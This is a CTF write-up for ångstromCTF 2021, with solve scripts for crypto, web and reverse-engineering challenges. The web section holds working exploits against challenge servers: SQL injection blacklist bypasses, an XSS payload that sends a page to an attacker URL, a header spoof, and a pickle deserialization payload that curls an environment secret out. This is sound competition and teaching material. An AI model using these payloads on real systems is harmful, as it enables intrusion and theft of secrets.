ångstromCTF 2021 Writeup
Thu Apr 08 2021
I participated in ångstromCTF 2021 as a member of WreckTheLine. The result was 11th/1245 (within teams with positive points). In this competition, we tried tasks which we were NOT good at. So I could tackle web tasks for a long time! ...though I could solve a few. In this article I introduce writeups for some tasks I tackled. I'll explicitly mention if the task is eventually solved by teammates.
Crypto
Home Rolled Crypto
We were given hand-made block cipher and had to guess the encryption of given msg. Given block cipher is as follow:
class Cipher: BLOCK_SIZE = 16 ROUNDS = 3 def __init__(self, key): assert len(key) == self.BLOCK_SIZE * self.ROUNDS self.key = key def __block_encrypt(self, block): enc = int.from_bytes(block, "big") for i in range(self.ROUNDS): k = int.from_bytes( self.key[i * self.BLOCK_SIZE : (i + 1) * self.BLOCK_SIZE], "big" ) enc &= k enc ^= k return hex(enc)[2:].rjust(self.BLOCK_SIZE * 2, "0") def __pad(self, msg): if len(msg) % self.BLOCK_SIZE != 0: return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE))) else: return msg def encrypt(self, msg): m = self.__pad(msg) e = "" for i in range(0, len(m), self.BLOCK_SIZE): e += self.__block_encrypt(m[i : i + self.BLOCK_SIZE]) return e.encode()
We can guess each encrypted bit from input one in the same place because this block cipher has no substitution.
from binascii import unhexlify from pwn import * r = remote("crypto.2021.chall.actf.co", 21602) # enc_list_0 has encrypted bits when input is 0 r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1") r.sendlineafter("What would you like to encrypt: ", "00" * Cipher.BLOCK_SIZE) enc = unhexlify(r.recvline().strip()) enc_num = int.from_bytes(enc, "big") enc_list_0 = [] for i in range(128): tmp = 1 << i enc_list_0.append(enc_num & tmp) # enc_list_1 has encrypted bits when input is 1 enc_list_1 = [] for i in range(128): tmp = 1 << i tmp_bytes = tmp.to_bytes(16, "big") r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1") r.sendlineafter("What would you like to encrypt: ", tmp_bytes.hex()) enc = unhexlify(r.recvline().strip()) enc_list_1.append(int.from_bytes(enc, "big") & tmp) # Let's encrypt context.log_level = "DEBUG" r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "2") for _ in range(10): _ = r.recvuntil("Encrypt this: ") msg_all = unhexlify(r.recvline().strip()) ans_all = "" for i in range(0, 32, 16): msg = msg_all[i: i+16] msg_num = int.from_bytes(msg, "big") ans = 0 for i in range(128): if msg_num & (1 << i): ans += enc_list_1[i] else: ans += enc_list_0[i] ans_all += ans.to_bytes(16, "big").hex() r.sendline(ans_all) print(r.recvall())
actf{no_bit_shuffling_is_trivial}
Circle of Trust
gen.pyimport random import secrets import math from decimal import Decimal, getcontext from Crypto.Cipher import AES BOUND = 2 ** 128 MULT = 10 ** 10 getcontext().prec = 50 def nums(a): b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT c = (a ** 2 - b ** 2).sqrt() if random.randrange(2): c *= -1 return (b, c) with open("flag", "r") as f: flag = f.read().strip().encode("utf8") diff = len(flag) % 16 if diff: flag += b"\x00" * (16 - diff) keynum = secrets.randbits(128) ivnum = secrets.randbits(128) key = int.to_bytes(keynum, 16, "big") iv = int.to_bytes(ivnum, 16, "big") x = Decimal(random.randint(1, BOUND * MULT)) / MULT for _ in range(3): (a, b) = nums(x) print(f"({keynum + a}, {ivnum + b})") cipher = AES.new(key, AES.MODE_CBC, iv=iv) enc = cipher.encrypt(flag) print(enc.hex())
We were given 3 (keynum + a, ivnum + b) pairs.
Looking at carefully, as the task name suggested, I found that these 3 pairs were on the circle, whose radius was x and center was (keynum, ivnum). So all I had to do was calculate elementary geometry, with decimal dealt carefully.
solve.py# sage from binascii import unhexlify from Crypto.Cipher import AES BOUND = 2 ** 128 MULT = 10 ** 10 enc = unhexlify( "838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76" ) # sagemath k_a_list = list( [ 457020213401268758000507112920047694562582161398, 552217331686024097808941630740787084233591522790, 147829667933855179054593001600696671775906950984, ], ) i_b_list = list( [ 3102063444240427633682053892994161421570035757114, 3478849656138089624748664484183476717397027057536, 3402400039416515433450745405594262911016949048470, ] ) a0 = -(k_a_list[1] - k_a_list[0]) / (i_b_list[1] - i_b_list[0]) x0 = (k_a_list[0] + k_a_list[1]) / 2 y0 = (i_b_list[0] + i_b_list[1]) / 2 a1 = -(k_a_list[2] - k_a_list[0]) / (i_b_list[2] - i_b_list[0]) x1 = (k_a_list[0] + k_a_list[2]) / 2 y1 = (i_b_list[0] + i_b_list[2]) / 2 keynum = (a0 * x0 - y0 - a1 * x1 + y1) / (a0 - a1) ivnum = a0 * (keynum - x0) + y0 key = int.to_bytes(int(round(keynum/MULT)), 16, "big") iv = int.to_bytes(int(round(ivnum/MULT)), 16, "big") cipher = AES.new(key, AES.MODE_CBC, iv=iv) flag = cipher.decrypt(enc) print(flag)
actf{elliptical_curve_minus_the_curve}
Substitution
chall.py#!/usr/bin/python from functools import reduce with open("flag", "r") as f: key = [ord(x) for x in f.read().strip()] def substitute(value): return (reduce(lambda x, y: x * value + y, key)) % 691 print( "Enter a number and it will be returned with our super secret synthetic substitution technique" ) while True: try: value = input("> ") if value == "quit": quit() value = int(value) enc = substitute(value) print(">> ", end="") print(enc) except ValueError: print("Invalid input. ")
Let flag strings be and input be . substitution(x) returns:
So I collected the output when :
collect.pyfrom pwn import * r = remote("crypto.2021.chall.actf.co", 21601) enc_list = [] for i in range(691): r.sendlineafter("> ", str(i)) _ = r.recvuntil(">> ") enc = int(r.recvline().strip()) enc_list.append(enc) print(enc_list)
and then solved simultaneous linear equations. Since the length of flag () were unknown, I brute-forced it.
solve.py# sage enc_list = [125, 492, 670, 39, 244, 257, 104, 615, 129, 520, 428, 599, 404, 468, 465, 523, 345, 44, 425, 515, 116, 120, 515, 283, 651, 199, 69, 388, 319, 410, 133, 267, 215, 352, 521, 270, 629, 564, 662, 640, 352, 351, 481, 103, 161, 106, 306, 360, 587, 318, 450, 314, 164, 185, 519, 85, 472, 343, 41, 652, 320, 581, 400, 259, 119, 525, 374, 434, 162, 661, 145, 360, 209, 302, 426, 285, 358, 610, 572, 366, 434, 627, 206, 427, 166, 527, 590, 189, 462, 148, 428, 140, 306, 163, 265, 249, 522, 66, 136, 332, 327, 51, 337, 173, 100, 23, 445, 523, 252, 655, 105, 391, 322, 127, 196, 476, 116, 58, 404, 218, 492, 60, 194, 479, 175, 390, 12, 66, 270, 227, 41, 189, 428, 3, 68, 356, 228, 101, 285, 93, 620, 94, 490, 411, 422, 161, 152, 258, 26, 588, 406, 382, 32, 140, 484, 114, 180, 483, 38, 397, 155, 206, 141, 599, 584, 589, 460, 68, 520, 617, 247, 243, 331, 339, 239, 323, 533, 159, 28, 491, 663, 115, 441, 451, 617, 267, 188, 222, 472, 483, 500, 576, 117, 517, 228, 545, 329, 14, 18, 411, 478, 247, 349, 322, 298, 287, 601, 520, 59, 177, 98, 150, 286, 587, 402, 494, 318, 269, 189, 527, 207, 154, 291, 538, 192, 161, 317, 485, 466, 119, 117, 123, 20, 120, 276, 24, 435, 672, 573, 676, 58, 596, 648, 126, 428, 183, 524, 133, 232, 281, 190, 169, 655, 314, 29, 378, 635, 286, 31, 111, 68, 105, 648, 467, 95, 496, 276, 468, 474, 607, 398, 295, 205, 221, 267, 310, 438, 382, 54, 384, 79, 423, 270, 271, 465, 33, 558, 483, 668, 646, 202, 438, 262, 580, 263, 78, 331, 560, 54, 138, 355, 154, 282, 653, 609, 249, 637, 563, 576, 676, 605, 499, 392, 542, 569, 543, 87, 207, 463, 297, 537, 65, 542, 335, 601, 116, 108, 2, 415, 67, 84, 263, 238, 310, 412, 562, 250, 640, 495, 507, 262, 389, 242, 470, 27, 540, 489, 79, 173, 77, 306, 522, 378, 674, 197, 116, 115, 642, 610, 474, 566, 621, 513, 82, 257, 279, 257, 69, 403, 688, 624, 169, 350, 140, 241, 74, 662, 477, 191, 308, 205, 249, 659, 530, 180, 542, 625, 614, 85, 522, 145, 192, 226, 272, 277, 416, 442, 625, 97, 168, 196, 662, 687, 364, 281, 685, 446, 619, 195, 644, 314, 197, 66, 547, 580, 621, 18, 519, 671, 22, 186, 2, 251, 347, 385, 84, 610, 394, 677, 43, 304, 597, 535, 509, 523, 618, 501, 637, 79, 521, 264, 554, 248, 38, 316, 271, 607, 613, 405, 473, 682, 462, 448, 153, 230, 227, 125, 58, 182, 453, 39, 412, 497, 165, 125, 614, 120, 592, 627, 224, 555, 391, 118, 580, 461, 381, 45, 325, 74, 507, 222, 253, 635, 458, 580, 202, 29, 320, 132, 515, 65, 49, 552, 492, 344, 367, 223, 189, 193, 517, 675, 123, 371, 122, 681, 59, 244, 203, 613, 586, 169, 111, 650, 420, 488, 309, 508, 300, 350, 413, 434, 430, 180, 588, 237, 300, 264, 299, 645, 595, 367, 450, 14, 1, 616, 350, 671, 528, 342, 173, 336, 318, 358, 476, 662, 36, 126, 400, 107, 207, 636, 275, 646, 93, 256, 484, 293, 58, 685, 232, 310, 345, 482, 100, 663, 41, 371, 122, 517, 570, 63, 583, 546, 283, 313, 270, 428, 398, 341, 690, 657, 183, 143, 129, 375, 398, 348, 6, 85, 267, 585, 354, 253, 278, 78, 133, 633, 513, 652, 299, 418, 634, 199, 610, 155, 405, 155, 190, 244, 356, 54, 187, 146, 505, 78, 454, 47, 616, 570, 208, 94, 208, 123, 451, 321, 74, 64, 395, 567, 215, 620, 420, 1, 620, 117, 488, 184, 644, 510, 426, 173, 12, 154, 292, 383, 590, 401, 472, 325, 236, 203, 681, 513, 513, 329, 553, 371, 470, 612, 30, 181, 572, 620, 429, 655, 366, 504, 251, 485, 612, 377, 471, 336, 142, 589, 572, 676, 373, 632, 528, 495, 265, 204, 13, 617, 482, 45, 560, 130, 487, 18, 125] for n in range(5, 100): A = matrix(Zmod(691), n, n) for i in range(n): for j in range(n): A[i, j] = pow(i, n-j-1, 691) b = enc_list[:n] f = A.solve_right(b) tmp_prefix = "".join(map(chr, f[:5])) if "actf{" in tmp_prefix: print("".join(map(chr, f))) break
actf{polynomials_20a829322766642530cf69}
Oracle of Blair
server.pyfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad import os key = os.urandom(32) flag = open("flag", "rb").read() while 1: try: i = bytes.fromhex(input("give input: ")) if not i: break except: break iv = os.urandom(16) inp = i.replace(b"{}", flag) if len(inp) % 16: inp = pad(inp, 16) print(inp) print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex())
We can input any bytes, with {} replaced to flag, and decrypt it by AES with CBC mode. When we input "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + {}), it's replaced with "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + "a") + "ctf{...}" This is decrypted to Dec("\x00" * 16) + [Dec("\x00" * 15 + "?") xor "\x00" * 16] + [Dec("\x00" * 15 + "a") xor ("\x00 * 15 + "?")] + ... (Dec is the decryption of AES) So comparing between 2nd and 3rd block, we can find what "?" should be. For example, only when "?" is "a", 2nd block equals to 3rd block xored by "\x00" * 15 + "a"
We can find all characters by shifting them iteratively.
solve.pyfrom binascii import hexlify, unhexlify from pwn import * r = remote("crypto.2021.chall.actf.co", 21112) FLAG_LEN = 25 flag = b"" for idx in range(16): for i in range(32, 128): tmp = b"\x00" * (15 - idx) + flag + i.to_bytes(1, "big") r.sendlineafter( "give input: ", "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d", ) ret = unhexlify(r.recvline().strip()) if xor(ret[32:48], tmp) == ret[16:32]: print("found!") flag += i.to_bytes(1, "big") print(flag) break for idx in range(9): for i in reversed(range(32, 128)): tmp = flag[1 + idx : 16 + idx] + i.to_bytes(1, "big") tmp2 = b"\x00" * (15 - idx) + flag[: idx + 1] r.sendlineafter( "give input: ", "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d", ) ret = unhexlify(r.recvline().strip()) if xor(ret[48:64], tmp2) == ret[16:32]: print("found!") flag += i.to_bytes(1, "big") print(flag) break
actf{cbc_more_like_ecb_c}
Thunderbolt
We were given binary, which read flag and encrypt user inputs.
I noticed that the output was randomly generated and the length of it was the same as of flag. Since this is not rev but crypto task, I guessed there was a bias vulnerability. I checked this by the following scripts:
check.pyimport subprocess from collections import Counter test_flag = "ABCD" with open("flag", "w") as f: f.write(test_flag) N = len(test_flag) cmd = "./chall" enc_cnt_list = [Counter() for _ in range(N)] for _ in range(1000): p = subprocess.run(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) for j in range(N): enc = p.stdout[-1 - 2 * N + 2 * j : -1 - 2 * N + 2 * (j + 1)].decode() enc_cnt_list[j][enc] += 1 for i, enc_cnt in enumerate(enc_cnt_list): print(i) for k, v in enc_cnt.most_common(2): print(k, v) print("=" * 80)
0 41 36 6d 10 ================================================================================ 1 42 26 75 10 ================================================================================ 2 43 23 ca 11 ================================================================================ 3 44 23 d7 11 ================================================================================
As I guessed, the most popular character equals to the flag. I wrote a script to collect encryption. It was needed to call remote so many times that I multiprocessed it (sorry for server load...)
solve.pyfrom collections import Counter from concurrent import futures from pwn import * N = 55 enc_cnt_list = [Counter() for _ in range(N)] def get_enc(enc_cnt_list): r = remote("crypto.2021.chall.actf.co", 21603) r.sendlineafter("Enter a string to encrypt: ", "") enc = r.recvline().strip() for j in range(N): tmp = enc[2 * j : 2 * (j + 1)].decode() enc_cnt_list[j][tmp] += 1 with futures.ThreadPoolExecutor(max_workers=32) as executor: for _ in range(3200): executor.submit(get_enc, enc_cnt_list=enc_cnt_list) flag = b"" for enc_cnt in enc_cnt_list: flag += bytes.fromhex(enc_cnt.most_common(1)[0][0]) print(flag)
actf{watch_the_edge_cases_31b2eb7440e6992c33f3e5bbd184}
Web
Sea of Quills
This is SQLi task.
(snip) post '/quills' do db = SQLite3::Database.new "quills.db" cols = params[:cols] lim = params[:limit] off = params[:offset] blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end } if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) return "bad, no quills for you!" end @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off]) p @row erb :specific end
We can use UNION SELECT easily.
$ curl -X POST -d 'cols=name, sql from sqlite_master UNION SELECT name, desc&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills (snip) <img src="flagtable" class="w3 h3"> <li class="pb5 pl3">CREATE TABLE flagtable ( flag varchar(30) ) <ul><li></li></ul></li><br /> (snip) $ curl -X POST -d 'cols=flag FROM flagtable UNION SELECT name&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills (snip) <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3"> <li class="pb5 pl3"> <ul><li></li></ul></li><br /> (snip)
actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}
nomnomnom
This is an XSS task.
index.js(snip) app.get('/shares/:shareName', function(req, res) { // TODO: better page maybe...? would attract those sweet sweet vcbucks if (!(req.params.shareName in shares)) { return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O'); } const share = shares[req.params.shareName]; const score = share.score; const name = share.name; const nonce = crypto.randomBytes(16).toString('hex'); let extra = ''; if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) { extra = `deletion token: <code>${process.env.FLAG}</code>` } return res.send(` <!DOCTYPE html> <html> <head> <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'"> <title>snek nomnomnom</title> </head> <body> ${extra}${extra ? '<br /><br />' : ''} <h2>snek goes <em>nomnomnom</em></h2><br /> Check out this score of ${score}! <br /> <a href='/'>Play!</a> <button id='reporter'>Report.</button> <br /> <br /> This score was set by ${name} <script nonce='${nonce}'> function report() { fetch('/report/${req.params.shareName}', { method: 'POST' }); } document.getElementById('reporter').onclick = () => { report() }; </script> </body> </html>`); }); app.post('/report/:shareName', async function(req, res) { if (!(req.params.shareName in shares)) { return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O'); } await visiter.visit( nothisisntthechallenge, `http://localhost:9999/shares/${req.params.shareName}` ); }) (snip)
visiter.jsconst puppeteer = require('puppeteer') const fs = require('fs') async function visit(secret, url) { const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' }) var page = await browser.newPage() await page.setCookie({ name: 'no_this_is_not_the_challenge_go_away', value: secret, domain: 'localhost', samesite: 'strict' }) await page.goto(url) // idk, race conditions!!! :D await new Promise(resolve => setTimeout(resolve, 500)); await page.close() await browser.close() }
The flag can be shown when cookie no_this_is_not_the_challenge_go_away is set correctly. This correct cookie is set in visiter.visit. The CSP is applied for XSS.
Looking at visiter.js, I found that browser was set to firefox explicitly. I googled and found this site (Japanese).
<html> <body> <script src="data:text/javascript,alert('XSS')" <script nonce="random123">doGoodStuff()</script> </body> </html>
(cited from above site)
Even when we don't know nonce, <script without close > can steal the following script's nonce. This is fixed by chrome, but not by firefox.
So I wrote and ran this script:
solve.pyimport requests url = "https://nomnomnom.2021.chall.actf.co" payload_name = "<script src=\"data:text/javascript,fetch('/shares/hint', {method: 'GET', credentials: 'include'}).then(r => r.text()).then(text => location='MY_URL?q='+escape(text))\"" payload_score = 2 r = requests.post(f"{url}/record", json={"name": payload_name, "score": payload_score}) print(r.text)
After that curl -X POST https://nomnomnom.2021.chall.actf.co/report/SHARE_NAME. I can get a flag as a query.
actf{w0ah_the_t4g_n0mm3d_th1ng5}
Spoofy
app.pyfrom flask import Flask, Response, request import os from typing import List FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}" with open(__file__, "r") as f: SOURCE: str = f.read() app: Flask = Flask(__name__) def text_response(body: str, status: int = 200, **kwargs) -> Response: return Response(body, mimetype="text/plain", status=status, **kwargs) @app.route("/source") def send_source() -> Response: return text_response(SOURCE) @app.route("/") def main_page() -> Response: if "X-Forwarded-For" in request.headers: # https://stackoverflow.com/q/18264304/ # Some people say first ip in list, some people say last # I don't know who to believe # So just believe both ips: List[str] = request.headers["X-Forwarded-For"].split(", ") if not ips: return text_response("How is it even possible to have 0 IPs???", 400) if ips[0] != ips[-1]: return text_response( "First and last IPs disagree so I'm just going to not serve this request.", 400, ) ip: str = ips[0] if ip != "1.3.3.7": return text_response("I don't trust you >:(", 401) return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG) else: return text_response("Please run the server through a proxy.", 400)
I wrote and deployed to Heroku the following script in order to do some experiments:
print_headers.pyfrom flask import Flask, request import json app = Flask(__name__) @app.route("/") def root(): return json.dumps(dict(request.headers)) if __name__ == "__main__": app.run()
I didn't know why but I found adding X-Forwarded-For twice could work. curl -H 'X-Forwarded-For:1.3.3.7' -H 'X-Forwarded-For:, 1.3.3.7' https://actf-spoofy.herokuapp.com/
actf{spoofing_is_quite_spiffy}
Jar
jar.py(snip) flag = os.environ.get("FLAG", "actf{FAKE_FLAG}") (snip) @app.route("/") def jar(): contents = request.cookies.get("contents") if contents: items = pickle.loads(base64.b64decode(contents)) else: items = [] return ( '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + "".join( f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items ) ) (snip)
It uses pickle to load contents. flag is read from env variables. I referred to this site to make a payload for pickle and wrote the following script.
solve.pyimport base64 import requests code = b"""cos system (S'curl MY_URL -d $(echo $FLAG)' tR.)""" payload = base64.b64encode(code).decode() url = "https://jar.2021.chall.actf.co/" requests.get(url, cookies={"contents": payload})
actf{you_got_yourself_out_of_a_pickle}
Sea of Quills 2
(This task was solved by teammates)
This is almost the same task as Sea of Quills. The differences are following:
3a4 > set :server, :puma 5a7 > set :environment, :production 27c29 < blacklist = ["-", "/", ";", "'", "\""] --- > blacklist = ["-", "/", ";", "'", "\"", "flag"] 36c38 < if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) --- > if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
The word flag is added to blacklist and the length of cols becomes restricted.
We can skip the following sentences by \0
$ curl -X POST -d 'cols=sql FROM sqlite_master %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills (snip) <li class="pb5 pl3"> <ul><li></li></ul></li><br /> <img src="CREATE TABLE flagtable ( flag varchar(30) )" class="w3 h3"> (snip)
This is the same table name as the previous task. Since sqlite is insensitive to upper of lower case we can avoid blacklist using uppercase flag.
$ curl -X POST -d 'cols=* FROM FLAGTABLE %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills (snip) <img src="actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}" class="w3 h3"> (snip)
actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}
Rev
lambda lambda
We were given a script written by lambda function.
I did some experiments and found the following:
- Each character in each place is mapped to a certain value
- Each mapped value are summed like 256-ary number
So I determined the flag character by character.
solve.pyimport subprocess cmd = "python chall.py" c = 2692665569775536810618960607010822800159298089096272924 c_list = [] while c: c_list.append(c % 256) c //= 256 c_list = c_list[::-1] print(c_list) ans = b"actf{" out = c_list[0] for i in range(len(ans)): out = 256 * out + c_list[i+1] ans_int = int.from_bytes(ans, "big") for idx in range(len(ans), len(c_list)): for i in reversed(range(32, 128)): tmp_ans = ans + i.to_bytes(1, "big") with open("./flag.txt", "wb") as f: f.write(tmp_ans) p = subprocess.run(cmd.split(), stdout=subprocess.PIPE) tmp_out = int(p.stdout) if tmp_out % 256 == out % 256: print("found!") ans += chr(i).encode() print(ans) out = 256 * out + c_list[idx + 1] break else: print("not found...") ans += b"?" print(ans) out = 256 * out + c_list[idx + 1]
I don't know why but the output was actf{3p1c_0n?_l1n3r_95}, 12th character was not found. I guessed it.
actf{3p1c_0n3_l1n3r_95}
RousTel
We were given CPU architecture, program for encryption and encrypted flag.
I downloaded logisim-generic-2.7.1.jar and opened roustel.circ and enc.ram. After that I did some experiments by modifying the memory and running the program. I found that the memory was updated like the following in each cycle:
M[32] = 0 # for padding M[33] = 0 # for padding for i in range(32): M[i] = (M[i] ^ M[i+1]) + M[i+2]
I wrote decoding script.
solve.pyenc = [0x62, 0xD6, 0x9D, 0x28, 0x8F, 0xEF, 0x6B, 0x0E, 0x5A, 0xE1, 0x68, 0x7B, 0xA2, 0x83, 0x5E, 0xFC, 0xCC, 0x03, 0x9A, 0x4B, 0x94, 0x39, 0x05, 0x4A, 0x27, 0x85, 0x95, 0x20, 0xB1, 0xA8, 0x1E, 0x7D, 0x00, # for padding 0x00, # for padding ] ans = [0] * 32 for _ in range(1000): for i in reversed(range(32)): enc[i] = ((enc[i] - enc[i + 2]) % 256) ^ enc[i + 1] if b"actf{" in (tmp := bytes(enc[:32])): print(tmp) break
actf{roustel_inside82f6270f973c}